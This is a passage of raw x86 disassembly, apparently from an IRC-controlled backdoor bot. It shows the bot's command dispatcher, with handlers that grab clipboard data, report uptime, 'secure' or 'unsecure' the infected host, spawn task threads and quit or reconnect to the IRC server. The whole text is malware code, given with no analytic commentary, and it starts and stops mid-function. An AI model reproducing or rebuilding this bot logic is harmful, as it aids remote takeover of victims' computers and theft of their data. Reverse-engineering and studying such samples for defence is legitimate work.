pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_411AC0
loc_411AE2: ; CODE XREF: sub_40CE55+4C69j
; sub_40CE55+4C6Dj
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov esi, [ebp+var_4]
mov [ebp+var_320], eax
mov eax, [ebp+var_8]
mov edi, 80h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_420]
push edi
push eax
mov [ebp+var_2F0], 1
mov [ebp+var_2F8], esi
call sub_415A6A
push offset byte_438FBC
push offset dword_42C244
call sub_415910
add esp, 14h
test eax, eax
jz short loc_411B4C
push offset dword_42C244
lea eax, [ebp+var_3A0]
push edi
push eax
call sub_415A6A
add esp, 0Ch
jmp short loc_411B52
; ---------------------------------------------------------------------------
loc_411B4C: ; CODE XREF: sub_40CE55+4CDEj
mov [ebp+var_3A0], bl
loc_411B52: ; CODE XREF: sub_40CE55+4CF5j
cmp [ebp+var_2F0], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_411B64
mov eax, offset aSequential ; "Sequential"
loc_411B64: ; CODE XREF: sub_40CE55+4D08j
push [ebp+var_304]
lea ecx, [ebp+var_430]
push [ebp+var_314]
push [ebp+var_318]
push [ebp+var_31C]
push ecx
push eax
lea eax, [ebp+var_2C8]
push offset dword_433C10
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 8
push eax
call sub_414F93
add esp, 2Ch
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_430]
push ebx
push eax
push offset sub_40799F
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_411BEE
loc_411BDC: ; CODE XREF: sub_40CE55+4D97j
cmp [ebp+var_2EC], ebx
jnz short loc_411C09
push 32h
call dword_421060 ; Sleep
jmp short loc_411BDC
; ---------------------------------------------------------------------------
loc_411BEE: ; CODE XREF: sub_40CE55+4D85j
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C8]
push offset dword_434CBC
push eax
call sub_4154E7
add esp, 0Ch
loc_411C09: ; CODE XREF: sub_40CE55+4D8Dj
cmp [ebp+var_8], ebx
jnz short loc_411C28
push ebx
lea eax, [ebp+var_2C8]
push esi
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_411C28: ; CODE XREF: sub_40CE55+4DB7j
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
pop ecx
loc_411C35: ; CODE XREF: sub_40CE55+4B79j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_411984
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_411C49: ; CODE XREF: sub_40CE55+2FDCj
; sub_40CE55+4BF1j
push offset dword_433BC4
jmp loc_41202C
; ---------------------------------------------------------------------------
loc_411C53: ; CODE XREF: sub_40CE55+17B0j
; sub_40CE55+17C5j
push 4
call sub_4151DB
test eax, eax
pop ecx
jle short loc_411C69
push offset unk_433B90
jmp loc_40EBA7
; ---------------------------------------------------------------------------
loc_411C69: ; CODE XREF: sub_40CE55+4E08j
mov eax, [ebp+esi+var_90]
cmp eax, ebx
jz short loc_411C8C
push eax
mov edi, 104h
lea eax, [ebp+var_804]
push edi
push eax
call sub_415A6A
add esp, 0Ch
jmp short loc_411CA0
; ---------------------------------------------------------------------------
loc_411C8C: ; CODE XREF: sub_40CE55+4E1Dj
mov edi, 104h
lea eax, [ebp+var_804]
push edi
push eax
push ebx
call dword_42107C ; GetModuleFileNameA
loc_411CA0: ; CODE XREF: sub_40CE55+4E35j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_411CB0
mov esi, offset byte_42C1FC
loc_411CB0: ; CODE XREF: sub_40CE55+4E54j
push esi
lea eax, [ebp+var_700]
push edi
push eax
call sub_415A6A
mov eax, dword_42C188
push 7Fh
push [ebp+var_8C]
mov [ebp+var_5F4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_5F8], ebx
mov [ebp+var_808], eax
lea eax, [ebp+var_5F0]
push eax
call sub_416D40
mov eax, [ebp+var_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
lea eax, [ebp+var_700]
push eax
lea eax, [ebp+var_804]
push eax
lea eax, [ebp+var_2C8]
push [ebp+var_5F4]
push offset unk_4278F4
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 4
push eax
call sub_414F93
add esp, 38h
mov [ebp+var_5FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_808]
push ebx
push eax
push offset sub_406C3E
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_5FC]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_411D80
loc_411D6A: ; CODE XREF: sub_40CE55+4F29j
cmp [ebp+var_568], ebx
jnz loc_40ECC3
push 32h
call dword_421060 ; Sleep
jmp short loc_411D6A
; ---------------------------------------------------------------------------
loc_411D80: ; CODE XREF: sub_40CE55+4F13j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_433B44
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_411D91: ; CODE XREF: sub_40CE55+1786j
; sub_40CE55+179Bj
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_411DB0
push edi
call sub_415A5F
test eax, eax
pop ecx
jz short loc_411DB0
push edi
call sub_415A5F
pop ecx
jmp short loc_411DB5
; ---------------------------------------------------------------------------
loc_411DB0: ; CODE XREF: sub_40CE55+4F45j
; sub_40CE55+4F50j
mov eax, dword_42C18C
loc_411DB5: ; CODE XREF: sub_40CE55+4F59j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_584], eax
xor eax, eax
cmp [ebp+var_9B0], bl
setz al
cmp esi, ebx
mov [ebp+var_570], eax
jz short loc_411DE8
lea eax, [ebp+var_688]
push esi
push eax
call sub_4154E7
pop ecx
pop ecx
jmp short loc_411E13
; ---------------------------------------------------------------------------
loc_411DE8: ; CODE XREF: sub_40CE55+4F80j
lea eax, [ebp+var_3E8]
push 104h
push eax
call dword_421058 ; GetSystemDirectoryA
push ebx
push ebx
lea eax, [ebp+var_2D4]
push ebx
push eax
lea eax, [ebp+var_3E8]
push eax
call sub_417348
add esp, 14h
loc_411E13: ; CODE XREF: sub_40CE55+4F91j
lea eax, [ebp+var_688]
push eax
call sub_415CF0
cmp [ebp+eax+var_689], 5Ch
pop ecx
jnz short loc_411E3E
lea eax, [ebp+var_688]
push eax
call sub_415CF0
pop ecx
mov [ebp+eax+var_689], bl
loc_411E3E: ; CODE XREF: sub_40CE55+4FD3j
push [ebp+var_8C]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_910]
mov [ebp+var_914], esi
push 80h
push eax
call sub_415A6A
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_574], eax
lea eax, [ebp+var_688]
mov [ebp+var_578], edi
push eax
push [ebp+var_584]
push esi
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_2C8]
push offset unk_4277C4
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 3
push eax
call sub_414F93
add esp, 20h
mov [ebp+var_57C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_914]
push ebx
push eax
push offset sub_405B23
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_57C]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_411EF2
loc_411EE0: ; CODE XREF: sub_40CE55+509Bj
cmp [ebp+var_568], ebx
jnz short loc_411F0D
push 32h
call dword_421060 ; Sleep
jmp short loc_411EE0
; ---------------------------------------------------------------------------
loc_411EF2: ; CODE XREF: sub_40CE55+5089j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_433AF8
loc_411EFE: ; CODE XREF: sub_40CE55+34F6j
; sub_40CE55+35F0j
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
loc_411F0D: ; CODE XREF: sub_40CE55+34DAj
; sub_40CE55+35D4j ...
cmp [ebp+var_8], ebx
jnz loc_41284E
push ebx
push edi
loc_411F18: ; CODE XREF: sub_40CE55+2DA0j
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_8C]
push esi
jmp loc_40F7CE
; ---------------------------------------------------------------------------
loc_411F2B: ; CODE XREF: sub_40CE55+175Cj
; sub_40CE55+1771j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_411F3E
push esi
call sub_415A5F
jmp short loc_411F45
; ---------------------------------------------------------------------------
loc_411F3E: ; CODE XREF: sub_40CE55+50DFj
push 8
call sub_4151FA
loc_411F45: ; CODE XREF: sub_40CE55+50E7j
cmp eax, ebx
pop ecx
jz loc_41298E
push eax
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4071FF
loc_411F60: ; CODE XREF: sub_40CE55+5597j
add esp, 10h
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_411F68: ; CODE XREF: sub_40CE55+1732j
; sub_40CE55+1747j
mov eax, dword_43A2C0
cmp eax, ebx
jz short loc_411F85
call eax
test eax, eax
jz short loc_411F7E
push offset unk_433AC0
jmp short loc_411F9A
; ---------------------------------------------------------------------------
loc_411F7E: ; CODE XREF: sub_40CE55+5120j
push offset unk_433A80
jmp short loc_411F9A
; ---------------------------------------------------------------------------
loc_411F85: ; CODE XREF: sub_40CE55+511Aj
push offset unk_433A40
jmp short loc_411F9A
; ---------------------------------------------------------------------------
loc_411F8C: ; CODE XREF: sub_40CE55+1708j
; sub_40CE55+171Dj
call sub_40A093
test eax, eax
jz short loc_411FB0
push offset unk_433A08
loc_411F9A: ; CODE XREF: sub_40CE55+5127j
; sub_40CE55+512Ej ...
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
jmp loc_412875
; ---------------------------------------------------------------------------
loc_411FB0: ; CODE XREF: sub_40CE55+513Ej
push offset unk_4339C8
jmp short loc_411F9A
; ---------------------------------------------------------------------------
loc_411FB7: ; CODE XREF: sub_40CE55+16DEj
; sub_40CE55+16F3j
cmp [ebp+var_8], ebx
jnz short loc_411FD6
push ebx
push [ebp+var_4]
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_411FD6: ; CODE XREF: sub_40CE55+5165j
push ebx
push [ebp+var_4]
call sub_409C92
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
push offset dword_433984
jmp loc_4122BE
; ---------------------------------------------------------------------------
loc_411FF8: ; CODE XREF: sub_40CE55+15FEj
; sub_40CE55+1613j
push 7
call sub_4151DB
test eax, eax
pop ecx
jle short loc_41200B
push offset dword_433948
jmp short loc_41202C
; ---------------------------------------------------------------------------
loc_41200B: ; CODE XREF: sub_40CE55+51ADj
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40A7FD
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_412027
push offset dword_43390C
jmp short loc_41202C
; ---------------------------------------------------------------------------
loc_412027: ; CODE XREF: sub_40CE55+51C9j
push offset dword_4338D8
loc_41202C: ; CODE XREF: sub_40CE55+2B3Dj
; sub_40CE55+2C6Dj ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
pop ecx
pop ecx
jmp loc_40F7B1
; ---------------------------------------------------------------------------
loc_41203F: ; CODE XREF: sub_40CE55+15D4j
; sub_40CE55+15E9j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40967F
jmp loc_40D216
; ---------------------------------------------------------------------------
loc_412058: ; CODE XREF: sub_40CE55+15AAj
; sub_40CE55+15BFj
push [ebp+esi+var_90]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40C515
jmp loc_40D216
; ---------------------------------------------------------------------------
loc_412075: ; CODE XREF: sub_40CE55+1580j
; sub_40CE55+1595j
or edi, 0FFFFFFFFh
call dword_42104C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_41209E
push esi
call sub_415A5F
pop ecx
mov edi, eax
loc_41209E: ; CODE XREF: sub_40CE55+523Ej
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_4120B7
cmp edi, 0FFFFFFFFh
jnz loc_41298E
loc_4120B7: ; CODE XREF: sub_40CE55+5257j
push ebx
call sub_40A9B2
push eax
lea eax, [ebp+var_2C8]
push offset dword_4338AC
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
jmp loc_410180
; ---------------------------------------------------------------------------
loc_4120F9: ; CODE XREF: sub_40CE55+1556j
; sub_40CE55+156Bj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4085D3
lea eax, [ebp+var_2C8]
push offset unk_433878
push eax
call sub_4154E7
add esp, 14h
jmp loc_40ECC3
; ---------------------------------------------------------------------------
loc_412123: ; CODE XREF: sub_40CE55+152Cj
; sub_40CE55+1541j
push 1Eh
call sub_4151DB
test eax, eax
pop ecx
jle short loc_41214C
cmp [ebp+var_8], ebx
jnz loc_40D219
push ebx
push [ebp+var_4]
push offset dword_433844
push [ebp+var_8C]
jmp loc_40D777
; ---------------------------------------------------------------------------
loc_41214C: ; CODE XREF: sub_40CE55+52D8j
push [ebp+var_8C]
lea eax, [ebp+var_4DC]
push 80h
push eax
call sub_415A6A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_4E0], eax
mov eax, [ebp+var_4]
mov [ebp+var_454], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_450], eax
mov [ebp+var_458], ebx
jz short loc_4121AD
push esi
push offset aFull ; "full"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4121AD
mov [ebp+var_458], 1
loc_4121AD: ; CODE XREF: sub_40CE55+533Bj
; sub_40CE55+534Cj
lea eax, [ebp+var_2C8]
push offset dword_433808
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 1Eh
push eax
call sub_414F93
add esp, 14h
mov [ebp+var_45C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4E0]
push ebx
push eax
push offset sub_413F83
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_45C]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_41221B
loc_412205: ; CODE XREF: sub_40CE55+53C4j
cmp [ebp+var_44C], ebx
jnz loc_41284E
push 32h
call dword_421060 ; Sleep
jmp short loc_412205
; ---------------------------------------------------------------------------
loc_41221B: ; CODE XREF: sub_40CE55+53AEj
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_4337B8
jmp loc_41283F
; ---------------------------------------------------------------------------
loc_41222C: ; CODE XREF: sub_40CE55+1502j
; sub_40CE55+1517j
cmp [ebp+var_8], ebx
jnz short loc_41224B
push ebx
push [ebp+var_4]
push offset dword_43378C
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_41224B: ; CODE XREF: sub_40CE55+53DAj
push [ebp+arg_4]
call dword_43A430
call dword_43A2F8
call sub_409E15
push ebx
call dword_421114 ; ExitProcess
loc_412266: ; CODE XREF: sub_40CE55+14D8j
; sub_40CE55+14EDj
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_40AAD1
pop ecx
pop ecx
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
push offset dword_433760
jmp short loc_4122BE
; ---------------------------------------------------------------------------
loc_412291: ; CODE XREF: sub_40CE55+14AEj
; sub_40CE55+14C3j
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40AD85
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
push offset dword_433734
loc_4122BE: ; CODE XREF: sub_40CE55+519Ej
; sub_40CE55+543Aj
call sub_40B16D
jmp loc_410F32
; ---------------------------------------------------------------------------
loc_4122C8: ; CODE XREF: sub_40CE55+1484j
; sub_40CE55+1499j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40B20D
jmp loc_40D216
; ---------------------------------------------------------------------------
loc_4122E1: ; CODE XREF: sub_40CE55+145Aj
; sub_40CE55+146Fj
cmp [ebp+var_C], ebx
mov [ebp+var_374], bl
jz short loc_412320
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_412320
push esi
push [ebp+var_C]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_412320
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_374]
push 80h
push eax
call sub_415A6A
add esp, 10h
loc_412320: ; CODE XREF: sub_40CE55+5495j
; sub_40CE55+54A0j ...
push [ebp+var_8C]
lea eax, [ebp+var_3F4]
push 80h
push eax
call sub_415A6A
mov eax, [ebp+arg_4]
push offset dword_433708
mov [ebp+var_3F8], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2EC], eax
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 1Ch
push eax
call sub_414F93
add esp, 20h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F8]
push ebx
push eax
push offset sub_40B27F
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_2F4]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_4123C0
loc_4123AA: ; CODE XREF: sub_40CE55+5569j
cmp [ebp+var_2E8], ebx
jnz loc_40D219
push 32h
call dword_421060 ; Sleep
jmp short loc_4123AA
; ---------------------------------------------------------------------------
loc_4123C0: ; CODE XREF: sub_40CE55+5553j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_4336BC
jmp loc_40D402
; ---------------------------------------------------------------------------
loc_4123D1: ; CODE XREF: sub_40CE55+1430j
; sub_40CE55+1445j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40B0F5
push offset dword_433690
call sub_40B16D
jmp loc_411F60
; ---------------------------------------------------------------------------
loc_4123F1: ; CODE XREF: sub_40CE55+1406j
; sub_40CE55+141Bj
push [ebp+var_8C]
lea eax, [ebp+var_4DC]
push 80h
push eax
call sub_415A6A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_4E0], eax
mov eax, [ebp+var_4]
mov [ebp+var_454], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_450], eax
jz short loc_41244B
push offset dword_43368C
push esi
call sub_415910
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_458], eax
jmp short loc_412451
; ---------------------------------------------------------------------------
loc_41244B: ; CODE XREF: sub_40CE55+55DAj
mov [ebp+var_458], ebx
loc_412451: ; CODE XREF: sub_40CE55+55F4j
lea eax, [ebp+var_2C8]
push offset dword_43365C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 1Fh
push eax
call sub_414F93
add esp, 14h
mov [ebp+var_45C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4E0]
push ebx
push eax
push offset sub_414FFE
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_45C]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_4124BB
loc_4124A9: ; CODE XREF: sub_40CE55+5664j
cmp [ebp+var_44C], ebx
jnz short loc_4124D6
push 32h
call dword_421060 ; Sleep
jmp short loc_4124A9
; ---------------------------------------------------------------------------
loc_4124BB: ; CODE XREF: sub_40CE55+5652j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_433610
loc_4124C7: ; CODE XREF: sub_40CE55+4523j
; sub_40CE55+463Cj
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
loc_4124D6: ; CODE XREF: sub_40CE55+28C1j
; sub_40CE55+28E3j ...
lea eax, [ebp+var_2C8]
push eax
jmp loc_40E519
; ---------------------------------------------------------------------------
loc_4124E2: ; CODE XREF: sub_40CE55+138Aj
; sub_40CE55+139Fj
push offset aIdspp ; "idspp"
lea eax, [ebp+var_2C8]
push offset dword_4335E4
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 20h
jmp loc_40EFA7
; ---------------------------------------------------------------------------
loc_412519: ; CODE XREF: sub_40CE55+1360j
; sub_40CE55+1375j
push dword_468818
call sub_40A9B2
push eax
lea eax, [ebp+var_2C8]
push offset dword_4335A4
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 24h
jmp loc_40EFA7
; ---------------------------------------------------------------------------
loc_412557: ; CODE XREF: sub_40CE55+1336j
; sub_40CE55+134Bj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_412589
cmp [ebp+var_C], ebx
jz short loc_412598
push esi
push [ebp+var_C]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_412598
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_412D06
add esp, 0Ch
jmp short loc_412598
; ---------------------------------------------------------------------------
loc_412589: ; CODE XREF: sub_40CE55+570Bj
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_412D06
pop ecx
pop ecx
loc_412598: ; CODE XREF: sub_40CE55+5710j
; sub_40CE55+571Fj ...
push 0FFFFFFFEh
jmp loc_40D21B
; ---------------------------------------------------------------------------
loc_41259F: ; CODE XREF: sub_40CE55+130Cj
; sub_40CE55+1321j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_412D06
push offset dword_433550
call sub_40B16D
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_4125C1: ; CODE XREF: sub_40CE55+12E2j
; sub_40CE55+12F7j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_412D06
push offset dword_43350C
call sub_40B16D
add esp, 0Ch
xor eax, eax
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_4125E2: ; CODE XREF: sub_40CE55+12B8j
; sub_40CE55+12CDj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_407135
jmp loc_410E9B
; ---------------------------------------------------------------------------
loc_4125F8: ; CODE XREF: sub_40CE55+1213j
; sub_40CE55+1228j
push [ebp+esi+var_90]
push 1Eh
push offset dword_4334FC
push offset dword_4334F0
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_412610: ; CODE XREF: sub_40CE55+11E9j
; sub_40CE55+11FEj
push [ebp+esi+var_90]
push 1Bh
push offset dword_4334E4
push offset dword_4334D4
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_412628: ; CODE XREF: sub_40CE55+1014j
; sub_40CE55+1029j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_412647
push edi
call sub_415A5F
test eax, eax
pop ecx
jz short loc_412647
push edi
call sub_415A5F
pop ecx
jmp short loc_41264C
; ---------------------------------------------------------------------------
loc_412647: ; CODE XREF: sub_40CE55+57DCj
; sub_40CE55+57E7j
mov eax, dword_42C184
loc_41264C: ; CODE XREF: sub_40CE55+57F0j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_464], eax
cmp esi, ebx
jz short loc_412671
push esi
loc_41265E: ; CODE XREF: sub_40CE55+582Bj
lea eax, [ebp+var_474]
push 10h
push eax
call sub_415A6A
add esp, 0Ch
jmp short loc_412688
; ---------------------------------------------------------------------------
loc_412671: ; CODE XREF: sub_40CE55+5806j
cmp [ebp+var_9B3], bl
jz short loc_412682
lea eax, [ebp+var_C4]
push eax
jmp short loc_41265E
; ---------------------------------------------------------------------------
loc_412682: ; CODE XREF: sub_40CE55+5822j
mov [ebp+var_474], bl
loc_412688: ; CODE XREF: sub_40CE55+581Aj
mov eax, [ebp+var_4]
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_458], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_454], eax
lea eax, [ebp+var_4F4]
push eax
mov [ebp+var_4F8], esi
call sub_415A6A
add esp, 0Ch
push [ebp+var_464]
push esi
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_2C8]
push offset unk_427D5C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 11h
push eax
call sub_414F93
add esp, 1Ch
mov [ebp+var_460], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F8]
push ebx
push eax
push offset sub_40800A
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_460]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_412739
loc_412723: ; CODE XREF: sub_40CE55+58E2j
cmp [ebp+var_450], ebx
jnz loc_40D219
push 32h
call dword_421060 ; Sleep
jmp short loc_412723
; ---------------------------------------------------------------------------
loc_412739: ; CODE XREF: sub_40CE55+58CCj
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_433488
jmp loc_40D402
; ---------------------------------------------------------------------------
loc_41274A: ; CODE XREF: sub_40CE55+FC0j
; sub_40CE55+FD5j ...
push edi
push offset aSecure ; "secure"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_412772
push edi
push offset aSec ; "sec"
call sub_415910
pop ecx
mov [ebp+var_458], ebx
test eax, eax
pop ecx
jnz short loc_41277C
loc_412772: ; CODE XREF: sub_40CE55+5904j
mov [ebp+var_458], 1
loc_41277C: ; CODE XREF: sub_40CE55+591Bj
push [ebp+var_8C]
lea eax, [ebp+var_4DC]
push 80h
push eax
call sub_415A6A
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_458], ebx
mov [ebp+var_4E0], eax
mov eax, [ebp+var_4]
mov [ebp+var_454], eax
mov eax, [ebp+var_8]
mov [ebp+var_450], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_4127C3
mov eax, offset aUnsecuring ; "Unsecuring"
loc_4127C3: ; CODE XREF: sub_40CE55+5967j
push eax
push offset dword_433438
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
push ebx
lea eax, [ebp+var_2C8]
push 19h
push eax
call sub_414F93
add esp, 1Ch
mov [ebp+var_45C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4E0]
push ebx
push eax
push offset sub_41465A
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_45C]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_412833
loc_412821: ; CODE XREF: sub_40CE55+59DCj
cmp [ebp+var_44C], ebx
jnz short loc_41284E
push 32h
call dword_421060 ; Sleep
jmp short loc_412821
; ---------------------------------------------------------------------------
loc_412833: ; CODE XREF: sub_40CE55+59CAj
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_4333E8
loc_41283F: ; CODE XREF: sub_40CE55+3C66j
; sub_40CE55+4738j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
loc_41284E: ; CODE XREF: sub_40CE55+295Fj
; sub_40CE55+2981j ...
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
jmp loc_40D408
; ---------------------------------------------------------------------------
loc_41285F: ; CODE XREF: sub_40CE55+F96j
; sub_40CE55+FABj
push offset aEnz9_9b ; "enz 9.9b"
push offset dword_4333C4
loc_412869: ; CODE XREF: sub_40CE55+44D8j
; sub_40CE55+47ECj ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
loc_412875: ; CODE XREF: sub_40CE55+5156j
add esp, 0Ch
jmp loc_40EF86
; ---------------------------------------------------------------------------
loc_41287D: ; CODE XREF: sub_40CE55+F6Cj
; sub_40CE55+F81j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_4128DD
push esi
call sub_415A5F
cmp eax, ebx
pop ecx
jl short loc_4128D2
cmp eax, 2
jge short loc_4128D2
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_4128C7
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C8]
push offset dword_436514
push eax
call sub_4154E7
add esp, 0Ch
mov [esi], bl
jmp loc_40ECC3
; ---------------------------------------------------------------------------
loc_4128C7: ; CODE XREF: sub_40CE55+5A51j
push eax
push offset dword_433384
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_4128D2: ; CODE XREF: sub_40CE55+5A3Cj
; sub_40CE55+5A41j
push eax
push offset dword_433344
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_4128DD: ; CODE XREF: sub_40CE55+5A31j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4128E2: ; CODE XREF: sub_40CE55+5AA9j
